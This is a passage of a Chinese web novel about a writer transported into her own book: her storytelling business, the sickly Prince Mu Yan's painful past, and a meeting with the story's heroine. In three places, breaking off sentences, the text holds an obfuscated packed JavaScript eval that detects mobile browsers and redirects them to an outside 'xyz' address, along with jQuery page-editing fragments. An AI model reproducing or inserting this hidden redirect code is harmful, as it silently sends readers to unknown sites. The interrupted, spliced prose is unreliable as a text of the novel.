他接着说:“本该在庆功宴后回楚阳封地,陛下特许我长住京城,以便养病。但锦衣玉食的日子只会让人颓靡,有时候我反倒想做个山野农夫,日出而作日落而息,春种秋收夏耘冬藏,有希望有收获。” 十指不沾阳春水的富贵王爷还是把农民生活想得太美好,这个心愿只能下次把你安排进种田文当男主了,江沁月心中默道。 但是,什么叫“锦衣玉食的日子只会让人颓靡”?这话她可不爱听!别人羡慕不来的富贵,还让他陷入虚无主义了?! 似是看出她心中不服,穆衍道:“世人追名逐利,京城中权贵遍地走,太过靠近权力漩涡的中心,稍有不慎便会被吞噬其中,所谓的尊贵,并非没有代价。” 江沁月明白了他的意思,穆衍和他父王军功累累,手握兵权,之前在宗室中可谓是最显赫的一脉,这样必然会引来帝王的猜忌。 但这个问题随着他的重病迎刃而解了……皇帝不必再担心他起异心,也定不会薄待他这位陨落的将星。 “好像说得有点太多了…江姑娘是聪明人,定然明白其中道理,”穆衍道,“总之,我以后大概只能当个闲散王爷了。” “所以我希望江姑娘的故事可以一直讲下去,我这个闲人定会日日来捧场。” 江沁月抱臂看他,半开玩笑道:“殿下怪会取笑我,如果真的喜欢听我讲,前几日怎么不站在窗前看我,给我扔些打赏呀?” 穆衍向她逼近一步,俯身在她耳边轻笑道:“江姑娘怎么知道,我没有在看你呢?” 他比她高出大半个头,倾身靠近时莫名带来一些压迫感,江沁月不由得后退一步,后背撞上了窗沿。 窗户本就是虚掩着,她这一撞便把窗户碰得大开,江沁月一下子失了重心,眼看就要摔下去。 三楼虽然应该不至于摔死,但恐怕也难免断胳膊断腿,不知道玉方能不能治好,不会落下残疾吧? 她本能地伸手想抓住什么东西,却感觉到一只手有力地揽住自己的腰,将她捞了回去。 穆衍的动作及时又稳当,另一只手还顺带干净利落地关上了窗。 江沁月被他环在身前,二人此刻的距离无比贴近,她甚至能闻到穆衍身上淡淡的药味,一时有些无所适从。 好在穆衍及时放开了她,主动退后两步拉开了距离。 “你没事吧?”穆衍关切地问道。 江沁月心有余悸,摇摇头表示自己无碍。 二人相顾无言,气氛一时间有些尴尬。 江沁月本想找个由头先走,却见穆衍从袖中摸出一个锦囊,向她抛了过来。 她连忙接住,这锦囊小巧精致,却被塞得鼓鼓囊囊,拿在手里沉甸甸的。 “这是什么?” “迟来的打赏……”穆衍本想让她回去再看,但江沁月已经麻利地打开了。 “我靠!”江沁月被满满一袋金叶子闪瞎了眼,不由得发出一声不属于这个时代的惊呼。 “殿下没开玩笑吗?这一袋都是打赏?”她抬眼看他,眼神中写满了不敢相信。 穆衍点点头,笑着说:“一些小玩意罢了,既然是打赏,那本王愿意给多少就给多少。千金难买心头好,江姑娘的故事值得。” 江沁月也点点头,故作淡定地道了谢,将锦囊揣好,礼貌地先行告退。 回去的路上她在心中默默盘算,按照现代的金价换算,这些金叶子能抵她多少个月的工资? 有言是福无双至,祸不单行,这话到了江沁月这,就得倒过来讲,她穿书之后可谓是财运亨通。 故事妙,茶点好,新生意如火如荼,不知不觉也开展了一月有余,赵昭兰按照约定结了上月工钱,将五成收益分给了她。 这白花花的银两相当可观,但与那袋金叶子相比,只能算是九牛一毛了。 不过江沁月依然眉开眼笑,在古代可比在现代打工来钱快多了,这真金白银拿在手上踏实的感觉,也好过银行卡里冰冷又可怜的数字。 她从毕业工作的第一天起,最大的理想就是早日攒够钱躺平退休,这份在现代的奢望,似乎可以在这个世界实现了。 有灵感时写写书,无聊了便去游山玩水,好不惬意……江沁月畅想着未来,又想起了过去。 穆衍没有说错,她很喜欢讲故事,她还记得刚上高中那会儿,她满怀憧憬地执笔,在笔记本上一笔一画,用稚嫩的笔触写下她的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156640|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个故事。 笔记本如同某个机密情报,在班级中相互传阅并广受好评,女孩子们常围着她,叽叽喳喳地催促她更新后续。 在同学们的热情支持下,江沁月完成了自己的第一本“连载小说”,那个满载回忆的笔记本,至今还被她好好收在书柜里。 后来课业日渐繁重,家里突遭变故,父亲生意失败,欠了不少钱,虽然父母在她面前表现得云淡风轻,但她心里明白,家里的情况不容乐观。 上了大学后她开始在网站上写小说,小有名气后挣了不少稿费,她不再向家里要生活费,也帮着父母一起还债,在毕业前不久,总算是无债一身轻了。 上班后的日子是远超她预料的繁忙,她也无暇码字,连《东山起》的番外都来不及写,再然后就来了这里。 “沁月最近在忙什么呢?”一道声音在她背后幽幽响起。 江沁月被突然凭空出现在身后的漆桐吓了一跳,腾地站起身:“你是神仙还是女鬼啊?!别这么悄无声息地站人背后啊姐姐!吓死人了!” 漆桐自顾自地坐下,伸手拨了拨桌上散落的银两:“任务也不汇报,消息也不回,你该不会乐不思蜀,把任务抛却脑后了吧?” 江沁月气不打一处来,愤愤道:“我不说书卖艺想办法挣点钱,难道等着喝西北风吗?” “任务任务,你对这任务有什么头绪吗?我一刀捅死他算不算结局?” 毫无准备的穿越,身无分文的窘境,毫无作用的“系统”,江沁月的怒火熊熊燃烧。 “我知道你不会那样做,但还是请你慎言。”漆桐斜眼睨她,“在水镜里看你忙得不亦乐乎,你没忘了正事就好。” “你监视我!咳咳咳…”江沁月喉疾未愈,一激动就咳得惊天动地。 “你自己不回消息,我有什么办法?”漆桐满脸无辜,“你对我撒气也没用,我早说了,我们是一根绳上的蚂蚱。” “你嗓子还好吗?不管怎么样,还是要注意身体啊。”漆桐的神色流露出几分担忧。 江沁月缓和了语气:“我已经好多了,本来就在考虑转幕后的事,不会忘记任务的,你放心。” “不知道你监听到没有,我前两天旁敲侧击问了下,穆衍想要去种地,还想要世界和平。” “……”漆桐沉默片刻,拍拍她的肩鼓励道:“你可以试着努力一下,我支持你。” “怎么努力?” 漆桐道:“帮他假死脱身,归隐田园种地;或者你披甲上阵,带兵横扫西辽,天下归心,从此自然和平。” 听听这说的是人话吗? 漆桐毫不避开江沁月幽怨的眼神,狡辩道:“我只是根据你的情况提出一些可行方案,书里不都这样写吗?” 可行吗?江沁月懒得理她。 两人相互拌嘴,又东拉西扯了好一会儿。 “我在上面还忙着呢,怕你出事才好不容易抽空下来一趟,别赌气不回消息啊,我先走了。” 话音刚落,漆桐的身影便消失得无影无踪。 虽然漆桐不是凡人,但她身上并没有上界之人的疏离感,所以江沁月也没太把她当仙人看,心底里其实对她挺亲近的。 正如她自己所说,她是能跨越时间与空间的存在,她们目标一致,她是唯一知道自己来处的人。 漆桐总是来去匆匆,看来社畜不好当,神仙也不好做啊。 她来这一趟倒是提醒了江沁月,台前幕后,也是时候做出抉择了。 11. 缘浅命薄叹所失 经过这么些天的观察,江沁月还是十分认可林三的业务能力的。慕名前来的客人越来越多,邀月轩的下午茶在京城里算是彻底打响了名号。 虽然林三身上依旧疑点重重,但英雄不问出处,在用人方面,她与赵昭兰想法一致。 江沁月终于还是下定决心,不要给自己太大压力,安心做一条咸鱼。 钱不在多,够花就行。知足常乐,善莫大焉! 当然,她并不是打算直接撒手不管了,只是与林三分工合作,一人写一人讲,二人各有所长。 卸下说书的重担后,江沁月清闲了不少,写书之余,也常去前楼听书,给林三当监工顺便看看反响如何。 穆衍也习惯了听书时身边还有个人叽叽喳喳,她不来时反倒少了些意思。 “抱歉抱歉,有事耽搁了会儿,今天就来得晚了些。”临近开场时,江沁月才风风火火地闯了进来。 入冬至今,京城终于迎来了初雪,雪下得不大,落在身上便融化不见,她垂落的发丝被雪水濡湿,身上也沾染上了潮气。 江沁月掸了掸衣裳,刚一坐下,对面的穆衍便贴心地递来一方巾帕,让她擦干脸上和头发上的水气。 她道了谢,却在心里感慨,男二啊,永远温柔体贴,却总是被忽视的那一个。 台上的林三已经开讲,天气寒冷阴湿,今日来客不算多。 “在座各位冒着风雪前来捧场,想必是真心喜爱我们的故事,在下十分感谢。关上门咱们也算是一家人了,不如今日就来讲些其他隐秘的轶闻趣事?” 看来他是准备又要自由发挥了,江沁月对此已是习以为常。 但林三一开口便如石破天惊,她差点就想直接跳到台上去捂住他的嘴。 “今日我们不讲太子殿下的爱情佳话,我们来讲讲太子殿下的堂兄——襄王殿下。” “襄王殿下年轻有为,一战成名,看似风光无限,但他的经历也颇为坎坷曲折,诸位且听我细细道来……” 穆衍是十一岁那年,和母亲一起被接来了京城。 那时他父王奉命出征,颇具威望,皇帝自然对这个亲弟弟心生忌惮,将他们母子接入京城,是一种心照不宣的威慑。 穆衍自小长在楚阳,那里丰饶富庶,民风十分淳朴,无论是身为世子的他,还是其他当地士族家的公子小姐,亦或是其他百姓家的孩子,大家都能玩到一起。 骤然离家来到陌生的京城,毕竟还是个孩子,失去了玩伴的他倍感孤独。 而母亲一向体弱多病,舟车劳顿数日,到了京城后就病倒了。穆衍便乖巧地日日陪在她身边侍疾,没过几天,母亲也看出了他的百无聊赖。 “阿衍,来了京城也可以出去多交一些新朋友,不必每日守着我。”母亲摸了摸他的头,笑得很温柔。 但京城没那么容易交朋友,王府所在的这一片地方,都是关门闭户的显贵人家,不会像楚阳的街上那样,孩子们可以肆意地追逐玩闹。 他也去过附近的平民区,却没有人愿意和他玩,他不解地问为什么,那个落单的孩子却被大人一把拉走,匆匆离开。 “跟你说了不要招惹这些权贵人家的孩子!把人惹急了,你有几条命去赔?!”大人压低了声音呵斥自己的儿子,但穆衍还是清楚地听到了。 他悻悻然准备回王府,经过一条小巷时,听见里面传来压抑的哭声。 穆衍走过去查看,只见一个脏兮兮的和他差不多大的孩子,蜷缩在死胡同堆满杂物的角落里。 他身上的粗布衣服打满补丁,脖子上拴着一条手指粗的铁链,手脚上布满似是被抽打的伤痕或淤青。 穆衍解开铁链,问他被何人所伤,不等他答话,便看见旁边宅院里跑出来几个比他们年长一些的锦衣少年。 “他是我们的人,你是谁家的?别多管闲事!”为首的是当朝丞相的儿子李岱,他身后跟着几个其他京中高官的孩子。 “我是襄王世子穆衍,你们这样虐待他,怕是不妥。”穆衍道。 李岱嗤笑道:“我以为是谁呢,沾点皇亲就想在我面前耍威风!果然是蛮夷之地来的,这么不懂规矩。” 楚阳虽与京城相隔千里,但无论如何也算不得蛮夷之地。 只是那时候李相在朝中如日中天,可谓一人之下万人之上,儿子李岱便也被惯得无法无天,谁都不放在眼里。 “李岱兄,好歹是个世子,给他留点面子。”旁边一人说着,神情却也没半分看得起穆衍的样子。 李岱不耐烦地说:“行了世子殿下,他和我们之间有些私怨,不劳你大驾,我们自己会处理的,你赶紧滚吧。” “我要带他走。”穆衍挡在那孩子身前,语气十分坚定。 李岱脸色一下子变得十分难看,正欲发作,身边的小跟班在他耳边说了几句话。 他沉吟片刻,耐着性子道:“你要带走他也可以,但别怪我没警告过你,敢跟我们抢东西,后果自负。” 穆衍没理他,带着那孩子带回了王府,让他洗澡换上干净衣服,还给了他最好的伤药。 那孩子说自己叫小胜,因为之前不小心惊了李岱的马,得罪了他,自那之后便常被李岱一伙人抓去虐打。 小胜家中贫苦,却兄弟姐妹众多,他不受父母疼爱,也不敢将此事告知,即便说了也无用,只能怪他自己不小心,得罪了不该得罪的人。 穆衍义愤填膺地说:“以后我可以保护你,你怕他们又来抓你的话,可以跟家里说一声,在王府住一段时间,他们再怎么猖狂,也不可能硬闯王府的。” 母亲知道这件事后,夸他是个正直善良的好孩子,也吩咐府中下人好好照顾小胜。 小胜在王府住了一段时间后回了家,隔三岔五地也会来王府找穆衍玩。 穆衍以为自己交到了入京后的第一个好朋友。 直到那天下午,小胜如往常一般来找他,却支支吾吾地说,想去外面玩。 穆衍不疑有他,和小胜一同出去,拐过几条七弯八绕的小巷后,他毫无防备地被人打晕。 醒来后,他发现自己被捆住手脚堵住嘴,关在阴暗逼仄的柴房里。 李岱一行人居高临下地围住他,像是一群围住猎物的恶狼,小胜畏畏缩缩地站在他们身后。 而他自己就是被诱饵引入陷阱的猎物。 穆衍被关在这里一天一夜,期间水米未进,被折磨得狼狈不堪。 终于李相发现了自家儿子干的蠢事,霎时间被吓得魂飞魄散,让人赶紧把世子放出来。 在穆衍沐浴更衣,终于饱餐一顿时,他听见了李岱鬼哭狼嚎响彻整个丞相府的惨叫声。 李相提着儿子的衣领,让他给穆衍下跪道歉,李岱死活不肯。 李相面子上挂不住,赔笑着说改日亲自到王府登门致歉。 “父王征战在外,母妃一向身体不好,我不想她为此事忧心。”穆衍拒绝了。 回王府后,家中已经乱成一锅粥,派了不少人出去悄悄寻他。 得知下人们对母亲暂时瞒下了他失踪一天一夜的事,他还是宽心不少。 穆衍决心隐瞒到底,对所有人只说是去朋友家玩得忘了时间,就借住了一晚上,以后不会这样任性了。 李岱几人下手阴毒,在他身上留下的伤痕都恰好被衣物遮住,他只得在晚上偷偷抹药,好长一段时间都被那噩梦般的经历扰得夜不能寐。 小胜害怕地来找他道歉,哭着说是李岱拿他家里人威胁他,逼他将穆衍引过去,他谁也得罪不起。 穆衍说自己不会对他怎么样,但他以后也不要再来王府了。 “阿衍,最近那个叫小胜的孩子,没再来王府玩了吗?”母亲见他又开始日日陪在自己身边,随口问了一句。 穆衍笑了笑:“小胜他搬家了,可能不太会来了……我多陪陪母妃也很好。” …… 江沁月听到这里时简直目瞪口呆,这京城权贵家的小孩是在搞什么霸凌小团体吗?一天天不是欺负皇子就是欺负世子,简直要反了天了! 她甚至怀疑这个故事的真实性,但若真如此好像也很合理? 儿时被朋友背叛留下了严重的心理阴影,从此便友情淡薄,对谁都客气温和,但对谁都不太亲近。 穆衍在《东山起》中,除了主角二人确实没有什么别的交好之人了,和主角的关系也是君子之交淡如水。 “他所经受的一切,不都是你亲自造成的吗?”江沁月又想起了漆桐的话,彼时听到这话的她十分不服,但如今越发觉得,穆衍的悲惨命运似乎与她脱不了干系。 万事万物皆有因果,或许是她织就了果,上天便为穆衍谱写了相应的因。 台上的林三正讲得兴起,说完襄王殿下的童年,便把后续也一股脑全讲完了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156641|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 婚约作废未婚妻被穆灼截胡、父母的相继离世、庆功宴上突发恶疾至今情况不明…… 最后他总结道:“我曾听一位高人说过,京城是有福的富贵之地,但无福之人反倒会被宏大的气运反噬。或许襄王殿下便是这般缘浅命薄之人,可惜可叹啊……” 你快闭嘴吧!江沁月在心中无力呐喊。 从林三开始讲之后,穆衍便没再说过一句话。江沁月一直在偷偷观察他,他脸上没什么表情,却又隐隐透露出几分阴郁。 漫长的沉默让房间里的空气都仿佛凝滞了几分,他此刻的心情一定很不好。 江沁月又在心里暗骂了几句林三,想着以后必须要限制一下他自由发挥的范围。 “殿下…”她小心翼翼地开口,“实在抱歉,我稿子里没写这些,他可能是从哪听了些只言片语,又自己添油加醋瞎编了一些,我代他向你道歉……” “他讲的都是真的。”穆衍轻声说,神情看不出喜怒。 “啊?”江沁月怔了一下。 “他说的那些事情,都是真实发生在我身上的,”穆衍回过神来望向她,“没什么需要道歉的,又不是什么机密要闻。” 他一双眼漆黑如墨,如黑曜石一般温润,却又似暗含了很多别的情绪,让人看不透。 江沁月摇摇头,赶紧起身准备下跪赔罪:“你的伤疤不该成为大家的茶余谈资,真的很抱歉让殿下再想起那些不愉快的事,我一定会好好教训他的。” “不是什么大事,你讲太子殿下的事都没这么顾虑,怎么轮到讲我就战战兢兢的?”穆衍赶紧扶住她,露出几分无奈的笑容。 “太子殿下没听到嘛,但殿下你可是一字不落地听完了……”而且穆衍的人生走向听起来可没那么让人愉快。 重新坐下后,江沁月正色道:“殿下,你有时候会不会觉得,老天对你不公平?” 穆衍也敛了神色:“今日我也是第一次,听见旁人对我的讲述,我好像确实很可怜,来了京城之后,我的人生就被‘失去’二字笼罩。” “失去了故乡,失去了朋友,失去了婚约,失去了亲人,失去了冲锋陷阵的机会,失去了健康的身体……” “我失去的太多,此时此刻回想起来,有些东西随风而去也罢,有些我拼命挽留却也抓不住。” “但这个问题我没法回答你,人生来被分为三六九等,这确实是苍天不公。但若由我说出这句话,似乎显得我太贪心了。” “一味向上看,做到了皇帝也不知足,犹觉老天薄待自己;而向下看,饥荒来时饿殍遍地,战争来时横尸千里,自己拥有的已胜过许多人。” 他的语气平静缓和,仿佛不是在说他自己。 江沁月静静地听他吐露心声,感觉好像离这个诞生于自己笔下却不甚熟悉的人更近了几分。 “江姑娘是不是觉得,我是那种养尊处优完全不知百姓疾苦的人?其实我都明白的。” “殿下明白,可其他身处高位的人不明白,普通人在他们眼中命如草芥,比如那个李岱。”江沁月说。 她不知道李岱,但李相在原书中也是个人物,他在朝堂叱诧风云多年,被主角打倒后贬为闲职,李家虽并未被连根拔起,现在却也大不如前了。 穆衍长叹一口气道:“善恶有报,我本就无心插手朝堂之事,如今只愿随性而活,珍惜眼前事,希望上天也能厚待我几分。” “不过如今的我,也没什么可再失去的了。” 这应当是他的肺腑之言,江沁月希望他能按自己喜欢的方式活下去,听他这话只觉得心酸又欣慰。 静默片刻,江沁月直截了当地问:“那殿下有什么心愿吗?” “江姑娘总问我有何心愿,莫非是神女下凡,我说了就可以替我实现愿望?”穆衍挑眉道。 神女可不能帮你实现愿望,比如某位油漆桶仙君。 “不是啦……是殿下上次给的打赏太多了,我觉得应该再回报殿下一点什么。”江沁月的神情十分认真。 穆衍也真心实意地笑了起来:“那这个愿望先暂时保留在这吧,我想到了再跟你说。” “好啊。”江沁月说着向他伸出了小指,穆衍不解其意。 江沁月便主动勾住了他的小指,又将二人拇指摁在一起盖了章。 “君子一言,驷马难追。”她笑眯眯地说,“这是一种约定。” 12. 眷侣佳话天下知 总算熬到了散场,江沁月带着想把林三暴打一顿的冲动,风风火火跑下楼,将他一把拉到小讲台的屏风后。 “哎哎哎轻点!怎么了?谁惹你生气了?”林三理了理被扯得皱巴巴的衣服,脸上写满了疑惑,不知道她怒从何来。 “还能有谁?我问你,你今天讲的什么?之前谁说自己知道什么该讲什么不该讲?”江沁月越说越恼火,伸手在他胳膊上猛掐了一下。 “痛痛痛!”林三捂着胳膊跳开几步,不服气地争辩道:“你说过我可以自由发挥的,而且这有什么不能讲的?” 江沁月咬牙切齿道:“我以为你的自由发挥,仅限于完善故事本身。” “襄王殿下也是跟故事有关的人嘛,最近坊间有很多关于他的传言,我恰巧知道一些他的事,就想着可以顺便讲一下嘛……” 林三接着说道:“而且襄王殿下一直在王府养病,又不可能知道我们讲了什么。” 那真是不好意思了,他本人就在楼上,而且一字不落地全听完了…… “万一被他知道了呢?你做事之前考虑一下后果行吗?”江沁月气得干瞪眼,她当然不能透露穆衍就在这里的消息。 “知道了也没什么,襄王殿下可是出了名的好脾气,不会怪罪的。”林三无所谓地耸耸肩。 “……”江沁月无言以对,好脾气难道就代表没脾气,伤疤能任人随便揭吗? 见她不作声,林三嘴角勾起一丝玩味的笑容:“而且你讲太子殿下的故事时就考虑后果了吗?太子殿下可没那么好脾气。” 江沁月强压下去一些的怒火“噌”地一下又蹿了起来,她可是亲妈作者!她当然知道穆灼是怎样的人!至少比林三更了解。 她懒得多费口舌,抬手准备给林三一些惨痛教训,他却早有提防,牢牢抓住了她的手。 江沁月挣了两下没挣脱,不假思索地一脚踹了过去,又被他灵巧地躲开了。 “罢了罢了,沁月,虽然我觉得这事讲了也没什么,但我们是合作者,从你的立场来看,确实是我没把握好这个度,以后再有这种事,我一定提前跟你商量。”林三正色道。 “这还差不多,”江沁月冷哼一声,终于抽回手,“没跟你开玩笑,以后说正事的时候正经点。” 林三连声说好,准备告辞回家,结果刚一放松警惕,冷不丁还是被江沁月补踹了一脚。 得手的江沁月心满意足,向他微笑挥手:“慢走不送哦。” 这段时间相处下来,江沁月和林三混得挺熟了,两人活脱脱处成了欢喜冤家,互相动手动脚已是常事。 穆衍站在楼上,隔得太远听不见他们说了什么,却将二人嬉笑怒骂拉拉扯扯的动作尽收眼底。 那个戴面具的说书人自称妙语花,穿得也是花里胡哨,衣服上缀着各式浮夸的金银宝石配饰,随着他的动作熠熠反光,晃晕了穆衍的眼。 看来他们的关系很好。 那他对江沁月而言,算什么呢? 或许只是碍于他的身份,她才一直无微不至地照顾他,陪他聊天解闷。 他不敢妄自定义,他与江沁月算不算朋友,但他私心里希望,以后还可以和她有交集。 …… 赵昭兰发现今日来了一位不寻常的客人,那是个极为漂亮的姑娘,看起来有些眼熟,或许是之前来邀月轩吃过饭的官家小姐? 散场已多时,一楼大堂里已是空荡荡,她却依旧坐得气定神闲,赵昭兰也不好开口赶人。 收拾好东西准备离开的林三也注意到了她,但也只瞄了两眼,没敢多问,毕竟前两天才被江沁月教训了,他可不想再乱惹麻烦。 然而对方开口叫住了他:“公子留步。” “这位客官,还有什么事吗?”林三皮笑肉不笑,好在面具挡住了他大半张脸。 “我听说之前是个姑娘在这里说书,如今又换成了公子,不知这故事出自何人手笔?” 林三不知道她问这些是有何用意,不敢贸然回答,瞟向赵昭兰那边,赵昭兰用眼神示意他如实作答。 “客官,这故事是以前那位妙笔生姑娘写的,她前不久病了,便又雇了我来,我们一人写一人讲。” 那姑娘点点头:“原来如此,不知妙笔生姑娘今日在楼中吗?我有事想找她。” “在,就在楼上……”林三毫不犹豫地接话,却感觉赵昭兰飞来一记眼刀,立马噤若寒蝉。 赵昭兰接话道:“客官稍等片刻,我上去叫她下来。” “不必这么麻烦,我跟赵老板一块上去吧。”她说着便要起身。 穆衍也在楼上,他当然不能被看见,这可如何是好?赵昭兰心急如焚,却想不出什么办法。 走到楼梯口时,她朝楼上大声喊道:“沁月!有客官找你,我这就带她上来!” 不管怎么样,先知会他们一声吧。 雅间里江沁月也完全没料到会有这种情况,好在房间里有个屏风,她让穆衍赶紧去后面躲着,顺便拿走了茶杯碗碟,假装这里只有她一个人。 听见脚步声已到了门外,江沁月主动拉开了门,看清赵昭兰身边之人后,不由得怔了一下。 这位姑娘的五官生得十分明艳动人,笑起来仿佛一朵盛开的牡丹花,叫人移不开眼。 直觉已经告诉她这是谁了,这般光彩,不会再有第二人。 赵昭兰将人带到就先下去了,两人坐下后,那姑娘主动先开了口。 “我就是姑娘故事中的女主角颜桃,妙笔生姑娘,很高兴见到你。”颜桃开门见山地自我介绍道。 “幸会幸会,在下本名江沁月,不知颜小姐找我所为何事?” 穿书之后这么久,终于见到了自己笔下的亲女儿,她的相貌气质与自己想象中如出一辙,江沁月心潮澎湃,欣慰与激动交织。 但激动归激动,她还是有些忐忑,怕万分之一的可能性是主角二人对说书之事不满,颜桃出面前来敲打她。 颜桃笑道:“不必这么客气,叫我的小字淑瑶就好。我和穆灼…太子殿下听闻邀月轩最近靠说书名声大噪,他平日里不便出来,我就自己过来一探究竟了。我觉得你们讲得很有意思。” 颜桃与穆灼相识于微时,二人之间从无尊卑之分,她私下里一向直呼其名。 前几日见面时,穆灼拜托她来邀月轩看看情况,当时他说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156642|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “淑瑶,我希望我们的故事可以流芳百世,成为千古佳话。” “太子殿下的意思是,他想把故事刊印成话本小说,嗯…不知沁月姐姐是否有这个意愿?”颜桃说着似乎有几分不好意思,脸颊微微泛起了两团红晕。 听见她甜甜地叫自己姐姐,江沁月的心都要融化了,亲女儿的提议,她自然不会拒绝。 同时她也悄悄松口气,果然如她所料,穆灼巴不得将他与颜桃的爱情故事昭告天下。 “我觉得可以,但我没有认识的书坊老板可以帮忙印刻出版……”应下此事简单,但操作起来有难度。 颜桃没想到她答应得这么爽快,忙不迭道:“此事不难办,襄王殿下名下有一间书坊,可以请他帮忙。只是他最近还在病中,之后我会去跟他说明此事的。” “另外,我们也会付给你相应的稿费,这个可以后面再商量,不会让你失望的。”颜桃补充道。 有钱赚自然是好事,但江沁月更担心另一件事,让男二帮忙出版男女主的爱情话本小说,真的没问题吗?穆衍是不是有点太工具人了? 而且他本尊就在这,不知听到这番对话该作何感想…… “我会帮忙的,淑瑶。” 穆衍直接从屏风后走了出来,江沁月怎么也想不到,书中的女主和男二会在此情此景齐聚一堂。 “殿下怎么在这里?”颜桃杏眼圆睁,脸上写满了诧异。 “发生了一点小意外,我这段时间暂住在邀月轩,不必担心,我很快就要回去了。”穆衍解释道。 颜桃欲言又止,想问到底发生了什么,却又不知道该不该问。 穆衍温声道:“此事说来话长,以后你会知道的。不过我在这里的事,请替我保密,不要跟任何人提起。” “好,那印刻出版之事,就麻烦殿下和沁月姐姐了。”又聊了一会儿后,颜桃起身准备离开。 “淑瑶!”就在她走到门口时,江沁月忍不住出声叫住了她。 “要是你愿意的话,可以常来邀月轩找我玩,有什么关于话本的新想法,也可以随时告诉我,毕竟你是故事的女主角嘛。” 颜桃笑着答应,说邀月轩的茶点也好吃,以后定会常来光顾。 许是亲笔塑造的女主角与自己的灵魂有所共鸣,二人一见如故,聊得十分投机。 江沁月忽然觉得,自己来这书中世界,也不算枉走一遭。 “江姑娘在想印书的事吗?”见她一直盯着门扉发呆,穆衍问道。 “没有,我只是觉得,淑瑶是个很好的姑娘。”江沁月回过神来,随口答道。 “江姑娘也是很好的姑娘。”穆衍笑着说。 虽然他看上去云淡风轻,但江沁月觉得他心里估计不太舒服。 “…殿下谬赞。”她犹豫了一下,还是试探性地问道,“京城中大大小小的书坊也有一些,印书这种事请殿下帮忙,会不会太麻烦了?” “小事一桩,谈不上麻烦。那间书坊是我父王的,规模虽大,却也闲置多年,正好派得上用场。”穆衍说。 “对了,我打算三日后回王府,这段时间承蒙江姑娘的照顾,救命之恩定不敢忘。” 13. 初入王府窥留白 “三日后?这么突然吗?”江沁月一下子有点慌了神,人都要走了,她的任务还八字没一撇。 “嗯,我的伤本就好得差不多了,这段时间实在多有叨扰。” “哦……”江沁月陷入了沉思,若是以后跟穆衍再无交集,这任务恐怕也无法开展了。 又或者其实她也不必做什么,只需看着穆衍继续他的人生,走向他自己选择的结局?但她总觉得穆衍对于生死看得太过淡然,这真的是好事吗? 穆衍自然不知道她在想些什么,但他也有自己的思虑。 他踌躇片刻,正色几分开口道:“江姑娘,我有一个不情之请,我想邀请你和我一同回王府,不知道江姑娘是否愿意?” 江沁月蓦地睁大双眼,这岂不是瞌睡来了递枕头?但这突如其来的邀请感觉十分古怪,她迫不及待地答应就更奇怪了。 穆衍也意识到这话有些唐突,忙解释道:“淑瑶所托之事,需要你我二人合力完成,书坊毗邻王府,但与邀月轩相距甚远,江姑娘若住在王府,也能方便许多。” “而且江姑娘这段时间照拂我甚多,我愿盛情款待,以答谢恩情。” 听起来很合理,江沁月也准备顺水推舟地同意,但是…… “唔…我是没问题,但我得知会昭兰姐他们一声,有些事情也得交接一下。” …… “原来那位姑娘是颜小姐。”听江沁月讲了一通,赵昭兰恍然大悟。 “昭兰姐,之前我们不是说好,收益你拿四成,我和林三各拿三成嘛。” 赵昭兰点点头,这是江沁月转幕后时,她们与林三一起重新商定的分配方式。 “以后我的工钱,拜托昭兰姐替我收着就好,我用不了那么多,也懒得打理。” “好,姐姐我替你收着,你需要的时候随时来取。”赵昭兰答应了。 大概不会有来取的时候了,自己在这个世界总归是过客,这些钱她就是想全留给赵昭兰。 虽然财大气粗的赵老板肯定不缺钱,但她是自己穿越后认识的第一个朋友,在自己初来乍到最为窘迫时帮了自己太多,她总想回报些什么。 三日后的清晨,王府的马车静静停在小院门前,赵昭兰与青玉方前来送行。 江沁月的包袱很简单,毕竟她来到这里时本就一无所有。 赵昭兰将一大包衣服首饰塞给她:“这些你都拿去吧,女孩子要打扮得漂漂亮亮的。” 青玉方将一袋瓶瓶罐罐递到她手中:“一些常用药,功效我都贴了标签,你拿着应急吧。” 儿行千里母担忧,江沁月脑子里突然蹦出这么一句话——虽然她只是前往京城另一端的襄王府。 “还有,大冷天千万再不要穿得像之前那样单薄了。”赵昭兰补充道。 青玉方点头附和:“我也快离开京城了,你要好好保重身体,殿下也是。” 说到最后她转头看了穆衍一眼。 穆衍笑着说:“我会保重的,二位不必这么担心,王府中衣食住行一应俱全,江姑娘于我有恩,是王府的贵客。这段时间也承蒙二位关照,明日我会让人送谢礼来。” “等等!玉方,你也要走了吗?什么时候?”江沁月有些惊讶。 “年前吧,在京城呆得够久了。”青玉方说。 穆衍道:“青神医若是愿意的话,我可以引荐你进太医院,我相信以神医的本领,一定能出人头地的。” 